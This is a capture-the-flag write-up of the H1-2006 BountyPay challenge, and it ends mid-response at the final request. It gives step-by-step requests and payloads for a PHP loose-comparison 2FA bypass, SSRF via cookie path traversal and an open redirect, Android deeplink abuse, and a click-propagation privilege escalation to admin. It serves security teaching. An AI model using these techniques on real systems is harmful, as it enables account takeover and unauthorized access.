H1-2006 Capture The Flag: Process Bounty Payments for BountyPay
In this write-up, I walkthrough the different steps of the H1-2006 capture-the-flag challenge. I'll go through the thinking process, steps to reproduce, failed attempts and other details.
1.0 Introduction & first reconnaissance on the scope
In this CTF, as mentioned on Twitter, we need to approve the bounty payments for May on behalf of Marten Mickos. He lost his credentials. Let's help him out.
The scope of the CTF challenge (*.bountypay.h1ctf.com
) indicates that there are multiple assets in scope for the challenge. Through certificate transparency logs, I was able to confirm that there are at least 4 assets reachable within the scope. The hosts were reachable on the same IP address, which indicated that virtual hosts were used. From here, I decided to stop looking for any more subdomains from other sources (via tools such as subfinder
), as we definitely have something to chew on for some time.
# This would return a 301 redirect to https://staff.bountypay.h1ctf.com
curl "http://3.21.98.146" -H "Host: staff.bountypay.h1ctf.com" -v
# This would return a 301 redirect to https://www.bountypay.h1ctf.com
curl "http://3.21.98.146" -H "Host: nonexistent.bountypay.h1ctf.com" -v
While looking through all hosts, we notice the following:
software.bountypay.h1ctf.com
is only accessible from an internal IP address. It returns a401 Unauthorized
error page.staff.bountypay.h1ctf.com
appears to be an internal dashboard for staff members of BountyPay.api.bountypay.h1ctf.com
appears to be a REST API which controls all services. We need to contact an account manager to use the REST API.app.bountypay.h1ctf.com
appears to be a customer-facing application (?), where we have no ability to sign-up.
1.1 Conclusion / Key Takeaways
This looks sufficient for the passive part of our reconnaissance. Viewing the source of the different pages did not unveil anything interesting either, which made me decide to go over to the next step: active discovery.
2.0 Active discovery
So far, we have identified four assets. I started off by attempting to bypass the IP address restriction on software.bountypay.h1ctf.com
by spoofing my IP address through X-Forwarded-For
and equivalent headers. As that did not work out, I started with running a dirsearch
on app.bountypay.h1ctf.com
with a default wordlist. This revealed something interesting:
[14:02:14] 200 - 278B - /.git/config
[14:02:14] 200 - 73B - /.git/description
[14:02:14] 200 - 0B - /.git/index
[14:02:14] 200 - 23B - /.git/HEAD
[14:02:14] 200 - 114B - /.git/packed-refs
The .git
folder appears to be exposed in the root directory of the web server. This is definitely an interesting starting point, as (parts of) the code hosted on the server might be exposed through the repository. Upon downloading the /.git/config
file, to identify the git
repository configuration, we notice the following remote server configuration:
....
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
....
That looks interesting. BountyPay appears to be hosting their request-logger
repo on GitHub.
The file in the repository contains a few lines of code, which appears to be logging the IP address, requested URI, request method used, and query parameters for both GET and POST requests. The data is then written to bp_web_trace.log
. file_put_contents
is given the FILE_APPEND
flag to make sure it does not rewrite the entire log file, but append entries instead. An interesting fact here is that bp_web_trace.log
is most likely written to the root directory of the web server (or at least the current directory where the script is running in, as no path is specified).
from https://github.com/bounty-pay-code/request-logger/blob/master/logger.php
<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
2.1 Failed Attempts
- Going through the GitHub account (issues, other repositories, pull requests, starred repositories) to gather additional information, such as secrets or infrastructure information. Nothing was found however.
- Trying to spoof IP address via
X-Forwarded-For
and equivalent headers forsoftware.bountypay.h1ctf.com
.
2.2 Conclusion / Key Takeaways
- BountyPay's request logger is open source. The request logger contains a few lines of code, which logs requests to the file
bp_web_trace.log
. - BountyPay uses PHP for their request logger, and its likely that they are using it in other parts of the application as well.
3.0 bpwebtrace.log
As discovered from the previous phase, we could determine that the bp_web_trace.log
file is stored in the current directory of the script. Browsing to https://app.bountypay.h1ctf.com/bp_web_trace.log
returns us the same format as we were told previously: a base64 encoded JSON string with a timestamp.
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 22:44:55 GMT
Content-Type: application/octet-stream
Connection: close
Content-Length: 680
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
base64 decoded log entries of bpwebtrace.log
The log file appears to be leaking the username and password for user brian.oliver
. Upon logging in, we're faced with a two factor authentication prompt.
The POST request for the 2FA form consists of the following values:
username=brian.oliver&password=V7h0inzX&challenge=f9526c7583d1fad363999086db2d755d&challenge_answer=ffff
Whenever we change the challenge
parameter to any other value (only hexadecimal values were allowed), the server returns the same error (“invalid challenge response”). However, it writes our challenge
in the HTML form.
This means that we most likely control the value where our challenge_answer
value is compared with. With that in mind, we could probably consider the following scenario on the back-end:
<?php
// challenge is a MD5 hash. Let's MD5 hash the challenge answer to see whether it matches with the one generated on the server-side
if($_GET['challenge'] == md5($_GET['challenge_answer'])) {
// pass 2FA token
}
In this case, besides the fact that we probably control both sides of the comparison (and therefore we can already bypass the check), there's a loose comparison as well. Only the value is checked, but not the type when the comparison is done using ==
. Given the fact that the two strings hold numerical strings (md5
returns a string
), both of the strings will be evaluated as a float (number) by PHP when it contains a e
.
The following test cases confirmed my assumptions:
challenge=343d9040a671c45832ee5381860e2996 # md5("fff")
challenge_answer=fff
Response: PASS
challenge=343d9040a671c45832ee5381860e2996 # md5("fff")
challenge_answer=asdasdads
Response: FAIL
challenge=0e462097431906509019562988736854 # md5("240610708")
challenge_answer=240610708
Response: PASS
challenge=0e462097431906509019562988736854 # md5("240610708")
challenge_answer=QNKCDZO # md5("QNKCDZO") will return a hash starting with 0e as well, confirming the loose comparison.
# This also confirms the usage of md5 by the server on the challenge_answer parameter.
Response: PASS
A final request to bypass the two-factor authentication.
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 109
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
username=brian.oliver&password=V7h0inzX&challenge=0e462097431906509019562988736854&challenge_answer=240610708
3.1 Failed Attempts
- Reviewing the Time Based One-time Password Algorithm, and reading about the unreliability of MD5 based OTP's. This did not appear to be very relevant to this challenge.
- Are any new entries added to
bp_web_trace.log
? If so, does it log any extra information? Does it log thechallenge_answer
while we're not providing one in the request? This did not appear to be happening.
4.0 SSRF to software.bountypay.h1ctf.com
We've successfully logged in and are prompted with a transaction dashboard. Through the dashboard, we're able to query (what appears) to be any pending transactions which need to be completed. Quickly going through all the years & months did not unveil anything interesting.
However, the token
cookie looked interesting (a base64 encoded JSON object). The /statements
endpoint was taking the account_id
value from the cookie, and using it to construct an API call internally (it was proxying our request with the account_id
value). There were no restrictions on account_id
, and therefore we were able to perform a request to a different path, using a path traversal on account_id
in the JSON object.
base64 decoded token: `{"account_id":"hi","hash":"de235bffd23df6995ad4e0930baac1a2"}`
--
GET /statements?month=1&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Accept: */*
Cookie: token=eyJhY2NvdW50X2lkIjoiaGkiLCJoYXNoIjoiZGUyMzViZmZkMjNkZjY5OTVhZDRlMDkzMGJhYWMxYTIifQ==
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 09 Jun 2020 00:28:47 GMT
Content-Type: application/json
Connection: close
Content-Length: 127
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/hi\/statements?month=01&year=2020","data":"[\"Invalid Account ID\"]"}
--
We previously learned that software.bountypay.h1ctf.com
was restricted to internal users only. As this request is most likely coming from an internal server, we should be able to access software.bountypay.h1ctf.com
. After running dirsearch
on api.bountypay.h1ctf.com
, I discovered a /redirect
endpoint.
The endpoint asked for a url
parameter. Upon providing one, I noticed that there was a whitelist in place. We're only allowed to pass any hosts within *.bountypay.h1ctf.com
.
Using the path traversal, we are able to call the redirect endpoint to redirect us to software.bountypay.h1ctf.com
. Redirects are followed by the server. To make sure the (default set) /statements
path in the request is not sent (so we won't end up as /ourpath/statements?month=01&year=2020
), we end the path we want to request with a #
to make sure anything after is considered as a fragment identifier. The fragment identifier is never sent to the server.
base64 decoded cookie
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/fffffff#","hash":"de235bffd23df6995ad4e0930baac1a2"}
GET /statements?month=1&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Accept: */*
Cookie: token=eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS9mZmZmZmZmIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 09 Jun 2020 01:03:02 GMT
Content-Type: application/json
Connection: close
Content-Length: 333
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/fffffff&asd=\/statements?month=01&year=2020","data":"<html>\n<head><title>404 Not Found<\/title><\/head>\n<body>\n<center><h1>404 Not Found<\/h1><\/center>\n<hr><center>nginx\/1.15.8<\/center>\n<\/body>\n<\/html>"}
After creating a few requests manually (to index.php
, .htaccess
), I decided to create a quick bash
script which takes my default wordlist, loops through it, base64 encodes the token
cookie with the wordlist entry ($line
), and finally pass the data to ffuf
.
file="$1"
while IFS= read -r line; do
echo "{\"account_id\":\"F8gHiqSdpK/../../../redirect?url=https://software.bountypay.h1ctf.com/$line#\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}" | base64 -w 500
done < "$file"
./generate.sh wordlist.txt | ffuf -w -:BOUNTYPAY -u "https://app.bountypay.h1ctf.com/statements?month=04&year=2020" -H "Cookie: token=BOUNTYPAY" -v -fr "404 Not Found" -o output.txt
...
[Status: 200, Size: 523, Words: 63, Lines: 1]
| URL | https://app.bountypay.h1ctf.com/statements?month=04&year=2020
* BOUNTYPAY: eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
...
This discovered a /uploads/
directory (with directory listening enabled), which appeared to contain a BountyPay.apk
file. Attempting to fetch the file through the proxied call returned an empty response body, however visiting the file directly downloaded the file (https://software.bountypay.h1ctf.com/uploads/BountyPay.apk
).
4.1 Failed Attempts
- Bruteforcing the
/js/
directory to search for any JavaScript files. If there was an administrative user interface somewhere which used the JS file, we could gather information about it and possibly discover new API endpoints. Althoughbootstrap.min.js
andjquery.min.js
did exist, there was no other JS file found onsoftware.bountypay.h1ctf.com
. - Attempting to
base64
decode the defaultaccount_id
, to discover whether it was enumerable for an IDOR.
4.2 Conclusion / Key Takeaways
- An open redirect was found on the
api.bountypay.h1ctf.com
host. We're able to redirect to other hosts on*.bountypay.h1ctf.com
only. - The IP address restriction was bypassed through the proxied call.
- We discover a BountyPay Android application.
5.0 BountyPay Android application
After decompiling the app using jadx-gui
, we read through the AndroidManifest.xml
and /res/values/strings.xml
files for a first insight into the Android application.
AndroidManifest.xml
strings.xml
- We notice that the Android app is using Firebase.
- A Firebase instance of BountyPay is available at
https://bountypay-90f64.firebaseio.com
. A request tohttps://bountypay-90f64.firebaseio.com/.json
(which could return all documents if misconfigured) returned a permission error. - There are deeplinks for the following activities, as specified by the data elements:
PartOneActivity
,PartTwoActivity
andPartThreeActivity
. - There's a
CongratsActivity
, which is the activity we probably need to reach.
bounty.pay package
As the name suggests, we need to start with PartOneActivity
. We immediately notice that the app uses Shared Preferences to save, what appears to be, user data. We could be tampering with the Shared Preferences
to bypass stages, but as this will probably not be the intended solution, we'll follow the challenges from the start.
We use objection -s patchapk
to patch the apk, so we could explore the application further on run-time. This would also allow us to read the generated shared preferences XML file on a non-rooted device. Let's do a walkthrough on the application.
Once we submit our user data, we land on PartOneActivity. An empty activity screen.
A fun side note: in the background, we have identified usage of Firebase Analytics. The Android application appears to create requests to app-measurement.com
. Taking a look at the decompiled code, we notice that it uses Firebase Analytics to, most likely, keep track of the progress of CTF participants. Every single activity appears to have a logFlagFound()
function, which is called after passing a deeplink.
private void logFlagFound(String user, String twitterhandle) {
Bundle params = new Bundle();
params.putString("full_text", user);
params.putString("full_text", twitterhandle);
this.mFirebaseAnalytics.logEvent("Part_One_Comp", params);
}
That obviously is probably something we shouldn't be looking at. The PartOneActivity
tipped us that we should take a look into deeplinks.
if (getIntent() != null && getIntent().getData() != null && (firstParam = getIntent().getData().getQueryParameter("start")) != null && firstParam.equals("PartTwoActivity") && settings.contains("USERNAME")) {
String user = settings.getString("USERNAME", "");
SharedPreferences.Editor editor = settings.edit();
String twitterhandle = settings.getString("TWITTERHANDLE", "");
editor.putString("PARTONE", "COMPLETE").apply();
logFlagFound(user, twitterhandle);
startActivity(new Intent(this, PartTwoActivity.class));
}
The code resides in the onCreate()
function of the activity, which is called whenever the activity is started. getIntent()
will return the intent that started the activity. An Intent contains an action
and data
expressed as a Uri
.
In this case, this condition simply checks whether we provide a start
parameter, which equals to PartTwoActivity
. When we do so, data is written to the Shared Preferences (key PARTONE
and value COMPLETED
). Using adb
, we can launch the activity via the following command:
adb shell am start -n bounty.pay/.PartOneActivity -a android.intent.action.VIEW -d "one://part?start=PartTwoActivity"
After launching the activity via the Intent, we land on PartTwoActivity
, with the exactly same blank screen as the previous activity. Looking into the decompiled code, it now requests for two parameters with a specific value. If we provide the right data URI, the visibility of a few UI components will be set to 0
, which means they will be viewable through the UI.
if (getIntent() != null && getIntent().getData() != null) {
Uri data = getIntent().getData();
String firstParam = data.getQueryParameter("two");
String secondParam = data.getQueryParameter("switch");
if (firstParam != null && firstParam.equals("light") && secondParam != null && secondParam.equals("on")) {
editText.setVisibility(0);
button.setVisibility(0);
textview.setVisibility(0);
}
}
Again, we set the required parameters and launch it using adb (note that we need to use a \
before &
when using multiple query parameters):
adb shell am start -n bounty.pay/.PartTwoActivity -a android.intent.action.VIEW -d "two://part?two=light\&switch=on"
public void submitInfo(View view) {
final String post = ((EditText) findViewById(R.id.editText)).getText().toString();
this.childRef.addListenerForSingleValueEvent(new ValueEventListener() {
public void onDataChange(DataSnapshot dataSnapshot) {
SharedPreferences settings = PartTwoActivity.this.getSharedPreferences(PartTwoActivity.KEY_USERNAME, 0);
SharedPreferences.Editor editor = settings.edit();
String str = post;
if (str.equals("X-" + ((String) dataSnapshot.getValue()))) {
PartTwoActivity.this.logFlagFound(settings.getString("USERNAME", ""), settings.getString("TWITTERHANDLE", ""));
editor.putString("PARTTWO", "COMPLETE").apply();
PartTwoActivity.this.correctHeader();
return;
}
Toast.makeText(PartTwoActivity.this, "Try again! :D", 0).show();
}
public void onCancelled(DatabaseError databaseError) {
Log.e(PartTwoActivity.TAG, "onCancelled", databaseError.toException());
}
});
}
The app requests a “Header” value from us. Browsing through the decompiled code of the Android application, it was obvious that this was “Token”. However, we're also able to confirm this statically. Our input is compared with a value from a DataSnapshot.
DatabaseReference childRef = this.database.child("header");
As mentioned in the Firebase documentation, data is retrieved by attaching an asynchronous listener to the reference (in this case: addListenerForSingleValueEvent()
). The reference of the listener is childRef
, which is equal to this.database.child("header")
.
When browsing to https://bountypay-90f64.firebaseio.com/header.json
, we can confirm that this is the value the app is requesting from us. When we use X-Token
as input, the PartThreeActivity
is launched with an empty user interface. From the code, we can learn that the UI components of this activity are hidden as well.
The last activity
if (getIntent() != null && getIntent().getData() != null) {
Uri data = getIntent().getData();
String firstParam = data.getQueryParameter("three");
String secondParam = data.getQueryParameter("switch");
String thirdParam = data.getQueryParameter("header");
byte[] decodeFirstParam = Base64.decode(firstParam, 0);
byte[] decodeSecondParam = Base64.decode(secondParam, 0);
final String decodedFirstParam = new String(decodeFirstParam, StandardCharsets.UTF_8);
final String decodedSecondParam = new String(decodeSecondParam, StandardCharsets.UTF_8);
AnonymousClass5 r17 = r0;
DatabaseReference databaseReference = this.childRefThree;
byte[] bArr = decodeSecondParam;
final String str = firstParam;
byte[] bArr2 = decodeFirstParam;
final String str2 = secondParam;
String str3 = secondParam;
final String secondParam2 = thirdParam;
String str4 = firstParam;
final EditText editText2 = editText;
Uri uri = data;
final Button button2 = button;
AnonymousClass5 r0 = new ValueEventListener() {
public void onDataChange(DataSnapshot dataSnapshot) {
String str;
String value = (String) dataSnapshot.getValue();
if (str != null && decodedFirstParam.equals("PartThreeActivity") && str2 != null && decodedSecondParam.equals("on") && (str = secondParam2) != null) {
if (str.equals("X-" + value)) {
editText2.setVisibility(0);
button2.setVisibility(0);
PartThreeActivity.this.thread.start();
}
}
}
public void onCancelled(DatabaseError databaseError) {
Log.e("TAG", "onCancelled", databaseError.toException());
}
};
databaseReference.addListenerForSingleValueEvent(r0);
}
The last activity does a few more assignments of our query parameters than the previous activities. Eventually, it comes down to the fact that you should provide a base64
encoded value for the first two parameters (three
and switch
), and Token
for the header
parameter.
adb shell am start -n bounty.pay/.PartThreeActivity -a android.intent.action.VIEW -d "three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token"
The application now asks for a leaked hash. I personally decided to browse the SharedPreferences
, as I noticed that after launching PartThreeActivity
, the “leaked hash” is taken from the Firebase database through an Anonymous login, and written to SharedPreferences
.
/* access modifiers changed from: private */
public void getToken() {
final SharedPreferences.Editor editor = getSharedPreferences(KEY_USERNAME, 0).edit();
this.childRefTwo.addListenerForSingleValueEvent(new ValueEventListener() {
public void onDataChange(DataSnapshot dataSnapshot) {
editor.putString("TOKEN", (String) dataSnapshot.getValue()).apply();
}
public void onCancelled(DatabaseError databaseError) {
Log.e("TAG", "onCancelled", databaseError.toException());
}
});
}
When pasting this hash, we're greeted with the CongratsActivity
activity.
5.1 Conclusion / Key Takeaways
- The authorization token for
api.bountypay.h1ctf.com
is8e9998ee3137ca9ade8f372739f062c1
. - BountyPay might be using the Firebase instance for other applications as well.
- An
anonymousSignIn
in Firebase has more access than a public user.
6.0 Exposed staff member ID
The CongratsActivity
suggested us to use the information exposed in the Android application for the future stages of the CTF. I noticed that we have access to the same endpoint (where we were proxied to) as we had in 4.0
.
GET /api/accounts/F8gHiqSdpK/statements?month=01&year=2020 HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Length: 0
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:16:13 GMT
Content-Type: application/json
Connection: close
Content-Length: 60
{"description":"Transactions for 2020-01","transactions":[]}
That did not result in anything interesting. However, running ffuf
against /api/FUZZ
resulted in the discovery of the /staff
endpoint.
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:20:12 GMT
Content-Type: application/json
Connection: close
Content-Length: 104
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
The endpoint also appeared to accept POST
requests. It initially returned Invalid Parameter
, but after fuzzing around using values from the GET /api/staff
call, we were able to discover the proper values for the request to POST /api/staff
.
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Length: 23
staff_id=STF:84DJKEIP38
HTTP/1.1 409 Conflict
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:27:46 GMT
Content-Type: application/json
Connection: close
Content-Length: 39
["Staff Member already has an account"]
Trying to create a staff member account for any user in the GET /api/staff
call returned a 409 Conflict
HTTP error. After trying multiple things (as specified in 6.1), I noticed that BountyPay had a Twitter account. BountyPay announced a new hire, called Sandra:
When we look through the Twitter account for more information, we notice that BountyPay is following three users. One of them is Sandra, the recent hire of BountyPay. When we browse to her account, we notice that she published the picture of her staff badge. The badge includes her staff ID:
The staff ID in GET /api/staff
does not include Sandra's staff ID. This probably means that the API call only returns staff members who have an active account on the platform.
POST /api/staff?month=01&year=2020 HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4025.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Mode: cors
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Sec-Fetch-Dest: empty
Referer: https://app.bountypay.h1ctf.com/
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiI4ZTk5OThlZTMxMzdjYTlhZGU4ZjM3MjczOWYwNjJjMSJ9
Content-Length: 23
staff_id=STF:8FJ3KFISL3
HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 02 Jun 2020 15:45:47 GMT
Content-Type: application/json
Connection: close
Content-Length: 110
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
We are able to create a staff account for Sandra as she was missing on the GET /api/staff
call. As concluded in 1.0, the staff login is on staff.bountypay.h1ctf.com
.
6.1 Failed Attempts
- SQL injection attempts on the staff_id parameter.
6.2 Conclusion / Key Takeaways
- BountyPay has a Twitter account. We should keep an eye on it for any new information about BountyPay.
7.0 onclick
for the win!
Using the credentials from the previous step, we are able to log into the staff portal of BountyPay. As the message states on the homepage, the staff portal appears to be used to receive messages from the administrative team.
Browsing through the portal, I was able to confirm the following:
- We're able to edit our profile and review support tickets.
- Any changes in our profile are directly reflected in all tickets.
- We're able to provide a non-existent/arbitrary avatar name when changing our avatar through the
profile_avatar
parameter. - Cross-site scripting attempts did not result in anything.
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
}),
$(".tab").click(function() {
return $(".tab").removeClass("active"),
$(this).addClass("active"),
$("div.content").addClass("hidden"),
$("div.content-" + $(this).attr("data-target")).removeClass("hidden"),
!1
}),
$(".sendReport").click(function() {
$.get("/admin/report?url=" + url, function() {
alert("Report sent to admin team")
}),
$("#myModal").modal("hide")
}),
document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"),
"#tab2" === document.location.hash && $(".tab2").trigger("click"),
"#tab3" === document.location.hash && $(".tab3").trigger("click"),
"#tab4" === document.location.hash && $(".tab4").trigger("click"));
/js/website.js
JavaScript files are sometimes a good place to start to discover new endpoints. We applied this idea on BountyPay as well, and noticed that the application loads a website.js
file. The file contains some logic where we don't have access to: upgrading a user account to the administrator role. This is done using a call to /admin/upgrade?username=<username>
.
When requesting this directly, we receive a 401 Unauthorized
error:
HTTP/1.1 401 Unauthorized
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:59:33 GMT
Content-Type: application/json
Connection: close
Content-Length: 32
["Only admins can perform this"]
We also discover a reporting feature, where we have access to. On every page, we're able to click on “Report The Page” to report the current page to the administrators. A call is made to /admin/report?url=<base64-encoded-value-of-current-path>
when doing so.
Attempting server-side request forgery on the url
parameter did not work out. It appears that the server was not creating requests outside the host. We are also restricted for making reports inside the /admin/
directory. The only way to make this work, is to somehow get the user to click the button inside the div
class upgradeToAdmin
.
After spending time on the outdated libraries which Retire.js
reported, I decided to play around with jQuery's onclick
events. When is such an event triggered?
Consider the following scenario:
<script src="https://staff.bountypay.h1ctf.com/js/jquery.min.js"></script>
<div class="tab2">
<p class="tab">hi</p>
</div>
<script>
$(".tab").click(function(){
alert("you clicked me, intentionally.");
});
$(".tab2").click(function(){
alert("you clicked me too?!?!");
});
</script>
When you click on “hi”, which is inside class tab2
, the click()
handler for tab
will be triggered. However, jQuery will trigger the onclick
event for tab2
as well. This means that a click on an element will always trigger the onclick
events of the parent as well.
document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"),
"#tab2" === document.location.hash && $(".tab2").trigger("click"),
"#tab3" === document.location.hash && $(".tab3").trigger("click"),
"#tab4" === document.location.hash && $(".tab4").trigger("click"));
The last piece of information we receive from the JS file, is that we're able to select a different tab based on our location.hash
value. A click
event will be triggered on the tab which needs to be opened. This JS file is included on every page of the staff portal, except the login page.
With what we learned previously, if we make sure tab2
is a child of upgradeToAdmin
, we're able to trigger the onclick
event for upgradeToAdmin
. That would allow us to upgrade the user's access level. Let's construct a profile_avatar
value for that.
POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
Connection: close
Content-Length: 48
Origin: https://staff.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
profile_name=&profile_avatar=upgradeToAdmin+tab2
HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 01:41:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjIvRU51eEdabFFCd3F5WDVrMmEzWGlsS0NJMzdpWlAySnUwdFUrejc2U1liMzNqY3NFU2NFb2tNSEFhdTQvRlhBRi9HUFZPbFFZOVA0MjFYcUErYkMzQkJIdk00bWdJUTNraTBSaWZmQnZQOUFoSisrd0JGclN5aHJ2QURjYVV1NksrVVB4U3JlOHlOYmYrU0JSRlFsNFU9; expires=Fri, 10-Jul-2020 01:41:25 GMT; Max-Age=2592000; path=/
Location: /?template=home
Content-Length: 0
The change to profile_avatar sets the class attribute to our provided value
When browsing to https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582#tab2
, a request will be created in the background to the /admin/upgrade
endpoint.
The username
parameter remains undefined
due to the fact that it is attempting to take the value from an input field (input[name="username"]'
), which is nowhere to be found on the page. I eventually discovered that we could render multiple templates on the page, using multiple template
query parameters. To make sure we don't override the parameters, we should make sure we're passing an array of a query parameter. An example – a call to/?template[]=login&template[]=ticket&ticket_id=3582
results in:
The login page /?template=login
appears to accept a username
parameter to fill the input
field of the username. Using the ability to render multiple templates on the page, we're able to construct the following path, which worked locally (although a 401
was returned, the proper values were sent):
/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab2
Final request to the server
The final request will return a new cookie, indicating that we are able to escalate to administrative privileges.
GET /admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjI= HTTP/1.1
Host: staff.bountypay.h1ctf.com
Connection: close
Accept: */*
Referer: https://staff.bountypay.h1ctf.com/?template[]=login&template[]=home
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjIvRU51eEdabFFCd3F5WDVrMmEzWGlsS0NJMzdpWlAySnUwdFUrejc2U1liMzNqY3NFU2NFb2tNSEFhdTQvRlhBRi9HUFZPbFFZOVA0MjFYcUErYkMzQkJIdk00bWdJUTNraTBSaWZmQnZQOUFoSisrd0JGclN5aHJ2QURjYVV1NksrVVB4U3JlOHlOYmYrU0JSRlFsNFU9
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
